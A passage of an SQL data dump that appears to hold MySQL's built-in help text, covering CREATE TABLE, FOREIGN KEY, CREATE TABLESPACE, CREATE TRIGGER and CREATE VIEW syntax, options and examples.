[MAX_ROWS [=] max_number_of_rows]\n [MIN_ROWS [=] min_number_of_rows]\n [TABLESPACE [=] tablespace_name]\n [(subpartition_definition [, subpartition_definition] ...)]\n\nsubpartition_definition:\n SUBPARTITION logical_name\n [[STORAGE] ENGINE [=] engine_name]\n [COMMENT [=] \'string\' ]\n [DATA DIRECTORY [=] \'data_dir\']\n [INDEX DIRECTORY [=] \'index_dir\']\n [MAX_ROWS [=] max_number_of_rows]\n [MIN_ROWS [=] min_number_of_rows]\n [TABLESPACE [=] tablespace_name]\n\ntablespace_option:\n TABLESPACE tablespace_name [STORAGE DISK]\n | [TABLESPACE tablespace_name] STORAGE MEMORY\n\nquery_expression:\n SELECT ... (Some valid select or union statement)\n\nCREATE TABLE creates a table with the given name. You must have the\nCREATE privilege for the table.\n\nBy default, tables are created in the default database, using the\nInnoDB storage engine. An error occurs if the table exists, if there is\nno default database, or if the database does not exist.\n\nMySQL has no limit on the number of tables. The underlying file system\nmay have a limit on the number of files that represent tables.\nIndividual storage engines may impose engine-specific constraints.\nInnoDB permits up to 4 billion tables.\n\nFor information about the physical representation of a table, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-files.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-table.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-table.html'),(525,'FOREIGN KEY',40,'MySQL supports foreign keys, which permit cross-referencing related\ndata across tables, and foreign key constraints, which help keep the\nrelated data consistent.\n\nA foreign key relationship involves a parent table that holds the\ninitial column values, and a child table with column values that\nreference the parent column values. A foreign key constraint is defined\non the child table.\n\nThe essential syntax for a defining a foreign key constraint in a\nCREATE TABLE or ALTER TABLE statement includes the following:\n\n[CONSTRAINT [symbol]] FOREIGN KEY\n [index_name] (col_name, ...)\n REFERENCES tbl_name (col_name,...)\n [ON DELETE reference_option]\n [ON UPDATE reference_option]\n\nreference_option:\n RESTRICT | CASCADE | SET NULL | NO ACTION | SET DEFAULT\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-table-foreign-keys.html\n\n','CREATE TABLE product (\n category INT NOT NULL, id INT NOT NULL,\n price DECIMAL,\n PRIMARY KEY(category, id)\n) ENGINE=INNODB;\n\nCREATE TABLE customer (\n id INT NOT NULL,\n PRIMARY KEY (id)\n) ENGINE=INNODB;\n\nCREATE TABLE product_order (\n no INT NOT NULL AUTO_INCREMENT,\n product_category INT NOT NULL,\n product_id INT NOT NULL,\n customer_id INT NOT NULL,\n\n PRIMARY KEY(no),\n INDEX (product_category, product_id),\n INDEX (customer_id),\n\n FOREIGN KEY (product_category, product_id)\n REFERENCES product(category, id)\n ON UPDATE CASCADE ON DELETE RESTRICT,\n\n FOREIGN KEY (customer_id)\n REFERENCES customer(id)\n) ENGINE=INNODB;\n','https://dev.mysql.com/doc/refman/8.0/en/create-table-foreign-keys.html'),(526,'CREATE TABLESPACE',40,'Syntax:\nCREATE [UNDO] TABLESPACE tablespace_name\n\n InnoDB and NDB:\n [ADD DATAFILE \'file_name\']\n [AUTOEXTEND_SIZE [=] value]\n\n InnoDB only:\n [FILE_BLOCK_SIZE = value]\n [ENCRYPTION [=] {\'Y\' | \'N\'}]\n\n NDB only:\n USE LOGFILE GROUP logfile_group\n [EXTENT_SIZE [=] extent_size]\n [INITIAL_SIZE [=] initial_size]\n [MAX_SIZE [=] max_size]\n [NODEGROUP [=] nodegroup_id]\n [WAIT]\n [COMMENT [=] \'string\']\n\n InnoDB and NDB:\n [ENGINE [=] engine_name]\n\n Reserved for future use:\n [ENGINE_ATTRIBUTE [=] \'string\']\n\nThis statement is used to create a tablespace. The precise syntax and\nsemantics depend on the storage engine used. In standard MySQL\nreleases, this is always an InnoDB tablespace. MySQL NDB Cluster also\nsupports tablespaces using the NDB storage engine.\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-innodb\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-ndb\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-options\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-notes\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-innodb-examples\n\no https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html#create\n -tablespace-ndb-examples\n\nConsiderations for InnoDB\n\nCREATE TABLESPACE syntax is used to create general tablespaces or undo\ntablespaces. The UNDO keyword, introduced in MySQL 8.0.14, must be\nspecified to create an undo tablespace.\n\nA general tablespace is a shared tablespace. It can hold multiple\ntables, and supports all table row formats. General tablespaces can be\ncreated in a location relative to or independent of the data directory.\n\nAfter creating an InnoDB general tablespace, use CREATE TABLE tbl_name\n... TABLESPACE [=] tablespace_name or ALTER TABLE tbl_name TABLESPACE\n[=] tablespace_name to add tables to the tablespace. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/general-tablespaces.html.\n\nUndo tablespaces contain undo logs. Undo tablespaces can be created in\na chosen location by specifying a fully qualified data file path. For\nmore information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-undo-tablespaces.html.\n\nConsiderations for NDB Cluster\n\nThis statement is used to create a tablespace, which can contain one or\nmore data files, providing storage space for NDB Cluster Disk Data\ntables (see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data.html).\nOne data file is created and added to the tablespace using this\nstatement. Additional data files may be added to the tablespace by\nusing the ALTER TABLESPACE statement (see [HELP ALTER TABLESPACE]).\n\n*Note*:\n\nAll NDB Cluster Disk Data objects share the same namespace. This means\nthat each Disk Data object must be uniquely named (and not merely each\nDisk Data object of a given type). For example, you cannot have a\ntablespace and a log file group with the same name, or a tablespace and\na data file with the same name.\n\nA log file group of one or more UNDO log files must be assigned to the\ntablespace to be created with the USE LOGFILE GROUP clause.\nlogfile_group must be an existing log file group created with CREATE\nLOGFILE GROUP (see [HELP CREATE LOGFILE GROUP]). Multiple tablespaces\nmay use the same log file group for UNDO logging.\n\nWhen setting EXTENT_SIZE or INITIAL_SIZE, you may optionally follow the\nnumber with a one-letter abbreviation for an order of magnitude,\nsimilar to those used in my.cnf. Generally, this is one of the letters\nM (for megabytes) or G (for gigabytes).\n\nINITIAL_SIZE and EXTENT_SIZE are subject to rounding as follows:\n\no EXTENT_SIZE is rounded up to the nearest whole multiple of 32K.\n\no INITIAL_SIZE is rounded down to the nearest whole multiple of 32K;\n this result is rounded up to the nearest whole multiple of\n EXTENT_SIZE (after any rounding).\n\n*Note*:\n\nNDB reserves 4% of a tablespace for data node restart operations. This\nreserved space cannot be used for data storage.\n\nThe rounding just described is done explicitly, and a warning is issued\nby the MySQL Server when any such rounding is performed. The rounded\nvalues are also used by the NDB kernel for calculating\nINFORMATION_SCHEMA.FILES column values and other purposes. However, to\navoid an unexpected result, we suggest that you always use whole\nmultiples of 32K in specifying these options.\n\nWhen CREATE TABLESPACE is used with ENGINE [=] NDB, a tablespace and\nassociated data file are created on each Cluster data node. You can\nverify that the data files were created and obtain information about\nthem by querying the Information Schema FILES table. (See the example\nlater in this section.)\n\n(See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-files-table.\nhtml.)\n\nOptions\n\no ADD DATAFILE: Defines the name of a tablespace data file. This option\n is always required when creating an NDB tablespace; for InnoDB in\n MySQL 8.0.14 and later, it is required only when creating an undo\n tablespace. The file_name, including any specified path, must be\n quoted with single or double quotation marks. File names (not\n counting the file extension) and directory names must be at least one\n byte in length. Zero length file names and directory names are not\n supported.\n\n Because there are considerable differences in how InnoDB and NDB\n treat data files, the two storage engines are covered separately in\n the discussion that follows.\n\n InnoDB data files An InnoDB tablespace supports only a single data\n file, whose name must include a .ibd extension.\n\n To place an InnoDB general tablespace data file in a location outside\n of the data directory, include a fully qualified path or a path\n relative to the data directory. Only a fully qualified path is\n permitted for undo tablespaces. If you do not specify a path, a\n general tablespace is created in the data directory. An undo\n tablespace created without specifying a path is created in the\n directory defined by the innodb_undo_directory variable. If the\n innodb_undo_directory variable is undefined, undo tablespaces are\n created in the data directory.\n\n To avoid conflicts with implicitly created file-per-table\n tablespaces, creating an InnoDB general tablespace in a subdirectory\n under the data directory is not supported. When creating a general\n tablespace or undo tablespace outside of the data directory, the\n directory must exist and must be known to InnoDB prior to creating\n the tablespace. To make a directory known to InnoDB, add it to the\n innodb_directories value or to one of the variables whose values are\n appended to the innodb_directories value. innodb_directories is a\n read-only variable. Configuring it requires restarting the server.\n\n If the ADD DATAFILE clause is not specified when creating an InnoDB\n tablespace, a tablespace data file with a unique file name is created\n implicitly. The unique file name is a 128 bit UUID formatted into\n five groups of hexadecimal numbers separated by dashes\n (aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee). A file extension is added if\n required by the storage engine. An .ibd file extension is added for\n InnoDB general tablespace data files. In a replication environment,\n the data file name created on the replication source server is not\n the same as the data file name created on the replica.\n\n As of MySQL 8.0.17, the ADD DATAFILE clause does not permit circular\n directory references when creating an InnoDB tablespace. For example,\n the circular directory reference (/../) in the following statement is\n not permitted:\n\nCREATE TABLESPACE ts1 ADD DATAFILE ts1.ibd \'any_directory/../ts1.ibd\';\n\n An exception to this restriction exists on Linux, where a circular\n directory reference is permitted if the preceding directory is a\n symbolic link. For example, the data file path in the example above\n is permitted if any_directory is a symbolic link. (It is still\n permitted for data file paths to begin with \'../\'.)\n\n NDB data files An NDB tablespace supports multiple data files which\n can have any legal file names; more data files can be added to an NDB\n Cluster tablespace following its creation by using an ALTER\n TABLESPACE statement.\n\n An NDB tablespace data file is created by default in the data node\n file system directory---that is, the directory named ndb_nodeid_fs/TS\n under the data node\'s data directory (DataDir), where nodeid is the\n data node\'s NodeId. To place the data file in a location other than\n the default, include an absolute directory path or a path relative to\n the default location. If the directory specified does not exist, NDB\n attempts to create it; the system user account under which the data\n node process is running must have the appropriate permissions to do\n so.\n\n *Note*:\n\n When determining the path used for a data file, NDB does not expand\n the ~ (tilde) character.\n\n When multiple data nodes are run on the same physical host, the\n following considerations apply:\n\n o You cannot specify an absolute path when creating a data file.\n\n o It is not possible to create tablespace data files outside the data\n node file system directory, unless each data node has a separate\n data directory.\n\n o If each data node has its own data directory, data files can be\n created anywhere within this directory.\n\n o If each data node has its own data directory, it may also be\n possible to create a data file outside the node\'s data directory\n using a relative path, as long as this path resolves to a unique\n location on the host file system for each data node running on that\n host.\n\no FILE_BLOCK_SIZE: This option---which is specific to InnoDB general\n tablespaces, and is ignored by NDB---defines the block size for the\n tablespace data file. Values can be specified in bytes or kilobytes.\n For example, an 8 kilobyte file block size can be specified as 8192\n or 8K. If you do not specify this option, FILE_BLOCK_SIZE defaults to\n the innodb_page_size value. FILE_BLOCK_SIZE is required when you\n intend to use the tablespace for storing compressed InnoDB tables\n (ROW_FORMAT=COMPRESSED). In this case, you must define the tablespace\n FILE_BLOCK_SIZE when creating the tablespace.\n\n If FILE_BLOCK_SIZE is equal the innodb_page_size value, the\n tablespace can contain only tables having an uncompressed row format\n (COMPACT, REDUNDANT, and DYNAMIC). Tables with a COMPRESSED row\n format have a different physical page size than uncompressed tables.\n Therefore, compressed tables cannot coexist in the same tablespace as\n uncompressed tables.\n\n For a general tablespace to contain compressed tables,\n FILE_BLOCK_SIZE must be specified, and the FILE_BLOCK_SIZE value must\n be a valid compressed page size in relation to the innodb_page_size\n value. Also, the physical page size of the compressed table\n (KEY_BLOCK_SIZE) must be equal to FILE_BLOCK_SIZE/1024. For example,\n if innodb_page_size=16K, and FILE_BLOCK_SIZE=8K, the KEY_BLOCK_SIZE\n of the table must be 8. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/general-tablespaces.html.\n\no USE LOGFILE GROUP: Required for NDB, this is the name of a log file\n group previously created using CREATE LOGFILE GROUP. Not supported\n for InnoDB, where it fails with an error.\n\no EXTENT_SIZE: This option is specific to NDB, and is not supported by\n InnoDB, where it fails with an error. EXTENT_SIZE sets the size, in\n bytes, of the extents used by any files belonging to the tablespace.\n The default value is 1M. The minimum size is 32K, and theoretical\n maximum is 2G, although the practical maximum size depends on a\n number of factors. In most cases, changing the extent size does not\n have any measurable effect on performance, and the default value is\n recommended for all but the most unusual situations.\n\n An extent is a unit of disk space allocation. One extent is filled\n with as much data as that extent can contain before another extent is\n used. In theory, up to 65,535 (64K) extents may used per data file;\n however, the recommended maximum is 32,768 (32K). The recommended\n maximum size for a single data file is 32G---that is, 32K extents x 1\n MB per extent. In addition, once an extent is allocated to a given\n partition, it cannot be used to store data from a different\n partition; an extent cannot store data from more than one partition.\n This means, for example that a tablespace having a single datafile\n whose INITIAL_SIZE (described in the following item) is 256 MB and\n whose EXTENT_SIZE is 128M has just two extents, and so can be used to\n store data from at most two different disk data table partitions.\n\n You can see how many extents remain free in a given data file by\n querying the Information Schema FILES table, and so derive an\n estimate for how much space remains free in the file. For further\n discussion and examples, see\n https://dev.mysql.com/doc/refman/8.0/en/information-schema-files-tabl\n e.html.\n\no INITIAL_SIZE: This option is specific to NDB, and is not supported by\n InnoDB, where it fails with an error.\n\n The INITIAL_SIZE parameter sets the total size in bytes of the data\n file that was specific using ADD DATATFILE. Once this file has been\n created, its size cannot be changed; however, you can add more data\n files to the tablespace using ALTER TABLESPACE ... ADD DATAFILE.\n\n INITIAL_SIZE is optional; its default value is 134217728 (128 MB).\n\n On 32-bit systems, the maximum supported value for INITIAL_SIZE is\n 4294967296 (4 GB).\n\no AUTOEXTEND_SIZE: Ignored by MySQL prior to MySQL 8.0.23; From MySQL\n 8.0.23, defines the amount by which InnoDB extends the size of the\n tablespace when it becomes full. The setting must be a multiple of\n 4MB. The default setting is 0, which causes the tablespace to be\n extended according to the implicit default behavior. For more\n information, see\n https://dev.mysql.com/doc/refman/8.0/en/innodb-tablespace-autoextend-\n size.html.\n\n Has no effect in any release of MySQL NDB Cluster 8.0, regardless of\n the storage engine used.\n\no MAX_SIZE: Currently ignored by MySQL; reserved for possible future\n use. Has no effect in any release of MySQL 8.0 or MySQL NDB Cluster\n 8.0, regardless of the storage engine used.\n\no NODEGROUP: Currently ignored by MySQL; reserved for possible future\n use. Has no effect in any release of MySQL 8.0 or MySQL NDB Cluster\n 8.0, regardless of the storage engine used.\n\no WAIT: Currently ignored by MySQL; reserved for possible future use.\n Has no effect in any release of MySQL 8.0 or MySQL NDB Cluster 8.0,\n regardless of the storage engine used.\n\no COMMENT: Currently ignored by MySQL; reserved for possible future\n use. Has no effect in any release of MySQL 8.0 or MySQL NDB Cluster\n 8.0, regardless of the storage engine used.\n\no The ENCRYPTION clause enables or disables page-level data encryption\n for an InnoDB general tablespace. Encryption support for general\n tablespaces was introduced in MySQL 8.0.13.\n\n As of MySQL 8.0.16, if the ENCRYPTION clause is not specified, the\n default_table_encryption setting controls whether encryption is\n enabled. The ENCRYPTION clause overrides the default_table_encryption\n setting. However, if the table_encryption_privilege_check variable is\n enabled, the TABLE_ENCRYPTION_ADMIN privilege is required to use an\n ENCRYPTION clause setting that differs from the\n default_table_encryption setting.\n\n A keyring plugin must be installed and configured before an\n encryption-enabled tablespace can be created.\n\n When a general tablespace is encrypted, all tables residing in the\n tablespace are encrypted. Likewise, a table created in an encrypted\n tablespace is encrypted.\n\n For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/innodb-data-encryption.html\n\no ENGINE: Defines the storage engine which uses the tablespace, where\n engine_name is the name of the storage engine. Currently, only the\n InnoDB storage engine is supported by standard MySQL 8.0 releases.\n MySQL NDB Cluster supports both NDB and InnoDB tablespaces. The value\n of the default_storage_engine system variable is used for ENGINE if\n the option is not specified.\n\no The ENGINE_ATTRIBUTE option (available as of MySQL 8.0.21) is used to\n specify tablespace attributes for primary storage engines. The option\n is reserved for future use.\n\n Permitted values are a string literal containing a valid JSON\n document or an empty string (\'\'). Invalid JSON is rejected.\n\nCREATE TABLESPACE ts1 ENGINE_ATTRIBUTE=\'{\"key\":\"value\"}\';\n\n ENGINE_ATTRIBUTE values can be repeated without error. In this case,\n the last specified value is used.\n\n ENGINE_ATTRIBUTE values are not checked by the server, nor are they\n cleared when the table\'s storage engine is changed.\n\nNotes\n\no For the rules covering the naming of MySQL tablespaces, see\n https://dev.mysql.com/doc/refman/8.0/en/identifiers.html. In addition\n to these rules, the slash character (\"/\") is not permitted, nor can\n you use names beginning with innodb_, as this prefix is reserved for\n system use.\n\no Creation of temporary general tablespaces is not supported.\n\no General tablespaces do not support temporary tables.\n\no The TABLESPACE option may be used with CREATE TABLE or ALTER TABLE to\n assign an InnoDB table partition or subpartition to a file-per-table\n tablespace. All partitions must belong to the same storage engine.\n Assigning table partitions to shared InnoDB tablespaces is not\n supported. Shared tablespaces include the InnoDB system tablespace\n and general tablespaces.\n\no General tablespaces support the addition of tables of any row format\n using CREATE TABLE ... TABLESPACE. innodb_file_per_table does not\n need to be enabled.\n\no innodb_strict_mode is not applicable to general tablespaces.\n Tablespace management rules are strictly enforced independently of\n innodb_strict_mode. If CREATE TABLESPACE parameters are incorrect or\n incompatible, the operation fails regardless of the\n innodb_strict_mode setting. When a table is added to a general\n tablespace using CREATE TABLE ... TABLESPACE or ALTER TABLE ...\n TABLESPACE, innodb_strict_mode is ignored but the statement is\n evaluated as if innodb_strict_mode is enabled.\n\no Use DROP TABLESPACE to remove a tablespace. All tables must be\n dropped from a tablespace using DROP TABLE prior to dropping the\n tablespace. Before dropping an NDB Cluster tablespace you must also\n remove all its data files using one or more ALTER TABLESPACE ... DROP\n DATATFILE statements. See\n https://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data-objec\n ts.html.\n\no All parts of an InnoDB table added to an InnoDB general tablespace\n reside in the general tablespace, including indexes and BLOB pages.\n\n For an NDB table assigned to a tablespace, only those columns which\n are not indexed are stored on disk, and actually use the tablespace\n data files. Indexes and indexed columns for all NDB tables are always\n kept in memory.\n\no Similar to the system tablespace, truncating or dropping tables\n stored in a general tablespace creates free space internally in the\n general tablespace .ibd data file which can only be used for new\n InnoDB data. Space is not released back to the operating system as it\n is for file-per-table tablespaces.\n\no A general tablespace is not associated with any database or schema.\n\no ALTER TABLE ... DISCARD TABLESPACE and ALTER TABLE ...IMPORT\n TABLESPACE are not supported for tables that belong to a general\n tablespace.\n\no The server uses tablespace-level metadata locking for DDL that\n references general tablespaces. By comparison, the server uses\n table-level metadata locking for DDL that references file-per-table\n tablespaces.\n\no A generated or existing tablespace cannot be changed to a general\n tablespace.\n\no There is no conflict between general tablespace names and\n file-per-table tablespace names. The \"/\" character, which is present\n in file-per-table tablespace names, is not permitted in general\n tablespace names.\n\no mysqldump and mysqlpump do not dump InnoDB CREATE TABLESPACE\n statements.\n\nInnoDB Examples\n\nThis example demonstrates creating a general tablespace and adding\nthree uncompressed tables of different row formats.\n\nmysql> CREATE TABLESPACE `ts1` ADD DATAFILE \'ts1.ibd\' ENGINE=INNODB;\n\nmysql> CREATE TABLE t1 (c1 INT PRIMARY KEY) TABLESPACE ts1 ROW_FORMAT=REDUNDANT;\n\nmysql> CREATE TABLE t2 (c1 INT PRIMARY KEY) TABLESPACE ts1 ROW_FORMAT=COMPACT;\n\nmysql> CREATE TABLE t3 (c1 INT PRIMARY KEY) TABLESPACE ts1 ROW_FORMAT=DYNAMIC;\n\nThis example demonstrates creating a general tablespace and adding a\ncompressed table. The example assumes a default innodb_page_size value\nof 16K. The FILE_BLOCK_SIZE of 8192 requires that the compressed table\nhave a KEY_BLOCK_SIZE of 8.\n\nmysql> CREATE TABLESPACE `ts2` ADD DATAFILE \'ts2.ibd\' FILE_BLOCK_SIZE = 8192 Engine=InnoDB;\n\nmysql> CREATE TABLE t4 (c1 INT PRIMARY KEY) TABLESPACE ts2 ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;\n\nThis example demonstrates creating a general tablespace without\nspecifying the ADD DATAFILE clause, which is optional as of MySQL\n8.0.14.\n\nmysql> CREATE TABLESPACE `ts3` ENGINE=INNODB;\n\nThis example demonstrates creating an undo tablespace.\n\nmysql> CREATE UNDO TABLESPACE undo_003 ADD DATAFILE \'undo_003.ibu\';\n\nNDB Example\n\nSuppose that you wish to create an NDB Cluster Disk Data tablespace\nnamed myts using a datafile named mydata-1.dat. An NDB tablespace\nalways requires the use of a log file group consisting of one or more\nundo log files. For this example, we first create a log file group\nnamed mylg that contains one undo long file named myundo-1.dat, using\nthe CREATE LOGFILE GROUP statement shown here:\n\nmysql> CREATE LOGFILE GROUP myg1\n -> ADD UNDOFILE \'myundo-1.dat\'\n -> ENGINE=NDB;\nQuery OK, 0 rows affected (3.29 sec)\n\nNow you can create the tablespace previously described using the\nfollowing statement:\n\nmysql> CREATE TABLESPACE myts\n -> ADD DATAFILE \'mydata-1.dat\'\n -> USE LOGFILE GROUP mylg\n -> ENGINE=NDB;\nQuery OK, 0 rows affected (2.98 sec)\n\nYou can now create a Disk Data table using a CREATE TABLE statement\nwith the TABLESPACE and STORAGE DISK options, similar to what is shown\nhere:\n\nmysql> CREATE TABLE mytable (\n -> id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,\n -> lname VARCHAR(50) NOT NULL,\n -> fname VARCHAR(50) NOT NULL,\n -> dob DATE NOT NULL,\n -> joined DATE NOT NULL,\n -> INDEX(last_name, first_name)\n -> )\n -> TABLESPACE myts STORAGE DISK\n -> ENGINE=NDB;\nQuery OK, 0 rows affected (1.41 sec)\n\nIt is important to note that only the dob and joined columns from\nmytable are actually stored on disk, due to the fact that the id,\nlname, and fname columns are all indexed.\n\nAs mentioned previously, when CREATE TABLESPACE is used with ENGINE [=]\nNDB, a tablespace and associated data file are created on each NDB\nCluster data node. You can verify that the data files were created and\nobtain information about them by querying the Information Schema FILES\ntable, as shown here:\n\nmysql> SELECT FILE_NAME, FILE_TYPE, LOGFILE_GROUP_NAME, STATUS, EXTRA\n -> FROM INFORMATION_SCHEMA.FILES\n -> WHERE TABLESPACE_NAME = \'myts\';\n\n+--------------+------------+--------------------+--------+----------------+\n| file_name | file_type | logfile_group_name | status | extra |\n+--------------+------------+--------------------+--------+----------------+\n| mydata-1.dat | DATAFILE | mylg | NORMAL | CLUSTER_NODE=5 |\n| mydata-1.dat | DATAFILE | mylg | NORMAL | CLUSTER_NODE=6 |\n| NULL | TABLESPACE | mylg | NORMAL | NULL |\n+--------------+------------+--------------------+--------+----------------+\n3 rows in set (0.01 sec)\n\nFor additional information and examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql-cluster-disk-data-objects\n.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-tablespace.html'),(527,'CREATE TRIGGER',40,'Syntax:\nCREATE\n [DEFINER = user]\n TRIGGER [IF NOT EXISTS] trigger_name\n trigger_time trigger_event\n ON tbl_name FOR EACH ROW\n [trigger_order]\n trigger_body\n\ntrigger_time: { BEFORE | AFTER }\n\ntrigger_event: { INSERT | UPDATE | DELETE }\n\ntrigger_order: { FOLLOWS | PRECEDES } other_trigger_name\n\nThis statement creates a new trigger. A trigger is a named database\nobject that is associated with a table, and that activates when a\nparticular event occurs for the table. The trigger becomes associated\nwith the table named tbl_name, which must refer to a permanent table.\nYou cannot associate a trigger with a TEMPORARY table or a view.\n\nTrigger names exist in the schema namespace, meaning that all triggers\nmust have unique names within a schema. Triggers in different schemas\ncan have the same name.\n\nIF NOT EXISTS prevents an error from occurring if a trigger having the\nsame name, on the same table, exists in the same schema. This option is\nsupported with CREATE TRIGGER beginning with MySQL 8.0.29.\n\nThis section describes CREATE TRIGGER syntax. For additional\ndiscussion, see\nhttps://dev.mysql.com/doc/refman/8.0/en/trigger-syntax.html.\n\nCREATE TRIGGER requires the TRIGGER privilege for the table associated\nwith the trigger. If the DEFINER clause is present, the privileges\nrequired depend on the user value, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\nIf binary logging is enabled, CREATE TRIGGER might require the SUPER\nprivilege, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-programs-logging.html.\n\nThe DEFINER clause determines the security context to be used when\nchecking access privileges at trigger activation time, as described\nlater in this section.\n\ntrigger_time is the trigger action time. It can be BEFORE or AFTER to\nindicate that the trigger activates before or after each row to be\nmodified.\n\nBasic column value checks occur prior to trigger activation, so you\ncannot use BEFORE triggers to convert values inappropriate for the\ncolumn type to valid values.\n\ntrigger_event indicates the kind of operation that activates the\ntrigger. These trigger_event values are permitted:\n\no INSERT: The trigger activates whenever a new row is inserted into the\n table (for example, through INSERT, LOAD DATA, and REPLACE\n statements).\n\no UPDATE: The trigger activates whenever a row is modified (for\n example, through UPDATE statements).\n\no DELETE: The trigger activates whenever a row is deleted from the\n table (for example, through DELETE and REPLACE statements). DROP\n TABLE and TRUNCATE TABLE statements on the table do not activate this\n trigger, because they do not use DELETE. Dropping a partition does\n not activate DELETE triggers, either.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-trigger.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-trigger.html'),(528,'CREATE VIEW',40,'Syntax:\nCREATE\n [OR REPLACE]\n [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}]\n [DEFINER = user]\n [SQL SECURITY { DEFINER | INVOKER }]\n VIEW view_name [(column_list)]\n AS select_statement\n [WITH [CASCADED | LOCAL] CHECK OPTION]\n\nThe CREATE VIEW statement creates a new view, or replaces an existing\nview if the OR REPLACE clause is given. If the view does not exist,\nCREATE OR REPLACE VIEW is the same as CREATE VIEW. If the view does\nexist, CREATE OR REPLACE VIEW replaces it.\n\nFor information about restrictions on view use, see\nhttps://dev.mysql.com/doc/refman/8.0/en/view-restrictions.html.\n\nThe select_statement is a SELECT statement that provides the definition\nof the view. (Selecting from the view selects, in effect, using the\nSELECT statement.) The select_statement can select from base tables or\nfrom other views. Beginning with MySQL 8.0.19, the SELECT statement can\nuse a VALUES statement as its source, or can be replaced with a TABLE\nstatement, as with CREATE TABLE ... SELECT.\n\nThe view definition is \"frozen\" at creation time and is not affected by\nsubsequent changes to the definitions of the underlying tables. For\nexample, if a view is defined as SELECT * on a table, new columns added\nto the table later do not become part of the view, and columns dropped\nfrom the table result in an error when selecting from the view.\n\nThe ALGORITHM clause affects how MySQL processes the view. The DEFINER\nand SQL SECURITY clauses specify the security context to be used when\nchecking access privileges at view invocation time. The WITH CHECK\nOPTION clause can be given to constrain inserts or updates to rows in\ntables referenced by the view. These clauses are described later in\nthis section.\n\nThe CREATE VIEW statement requires the CREATE VIEW privilege for the\nview, and some privilege for each column selected by the SELECT\nstatement. For columns used elsewhere in the SELECT statement, you must\nhave the SELECT privilege. If the OR REPLACE clause is present, you\nmust also have the DROP privilege for the view. If the DEFINER clause\nis present, the privileges required depend on the user value, as\ndiscussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html.\n\nWhen a view is referenced, privilege checking occurs as described later\nin this section.\n\nA view belongs to a database. By default, a new view is created in the\ndefault database. To create the view explicitly in a given database,\nuse db_name.view_name syntax to qualify the view name with the database\nname:\n\nCREATE VIEW test.v AS SELECT * FROM t;\n\nUnqualified table or view names in the SELECT statement are also\ninterpreted with respect to the default database. A view can refer to\ntables or views in other databases by qualifying the table or view name\nwith the appropriate database name.\n\nWithin a database, base tables and views share the same namespace, so a\nbase table and a view cannot have the same name.\n\nColumns retrieved by the SELECT statement can be simple references to\ntable columns, or expressions that use functions, constant values,\noperators, and so forth.\n\nA view must have unique column names with no duplicates, just like a\nbase table. By default, the names of the columns retrieved by the\nSELECT statement are used for the view column names. To define explicit\nnames for the view columns, specify the optional column_list clause as\na list of comma-separated identifiers. The number of names in\ncolumn_list must be the same as the number of columns retrieved by the\nSELECT statement.\n\nA view can be created from many kinds of SELECT statements. It can\nrefer to base tables or other views. It can use joins, UNION, and\nsubqueries. The SELECT need not even refer to any tables:\n\nCREATE VIEW v_today (today) AS SELECT CURRENT_DATE;\n\nThe following example defines a view that selects two columns from\nanother table as well as an expression calculated from those columns:\n\nmysql> CREATE TABLE t (qty INT, price INT);\nmysql> INSERT INTO t VALUES(3, 50);\nmysql> CREATE VIEW v AS SELECT qty, price, qty*price AS value FROM t;\nmysql> SELECT * FROM v;\n+------+-------+-------+\n| qty | price | value |\n+------+-------+-------+\n| 3 | 50 | 150 |\n+------+-------+-------+\n\nA view definition is subject to the following restrictions:\n\no The SELECT statement cannot refer to system variables or user-defined\n variables.\n\no Within a stored program, the SELECT statement cannot refer to program\n parameters or local variables.\n\no The SELECT statement cannot refer to prepared statement parameters.\n\no Any table or view referred to in the definition must exist. If, after\n the view has been created, a table or view that the definition refers\n to is dropped, use of the view results in an error. To check a view\n definition for problems of this kind, use the CHECK TABLE statement.\n\no The definition cannot refer to a TEMPORARY table, and you cannot\n create a TEMPORARY view.\n\no You cannot associate a trigger with a view.\n\no Aliases for column names in the SELECT statement are checked against\n the maximum column length of 64 characters (not the maximum alias\n length of 256 characters).\n\nORDER BY is permitted in a view definition, but it is ignored if you\nselect from a view using a statement that has its own ORDER BY.\n\nFor other options or clauses in the definition, they are added to the\noptions or clauses of the statement that references the view, but the\neffect is undefined. For example, if a view definition includes a LIMIT\nclause, and you select from the view using a statement that has its own\nLIMIT clause, it is undefined which limit applies. This same principle\napplies to options such as ALL, DISTINCT, or SQL_SMALL_RESULT that\nfollow the SELECT keyword, and to clauses such as INTO, FOR UPDATE, FOR\nSHARE, LOCK IN SHARE MODE, and PROCEDURE.\n\nThe results obtained from a view may be affected if you change the\nquery processing environment by changing system variables:\n\nmysql> CREATE VIEW v (mycol) AS SELECT \'abc\';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> SET sql_mode = \'\';\nQuery OK, 0 rows affected (0.00 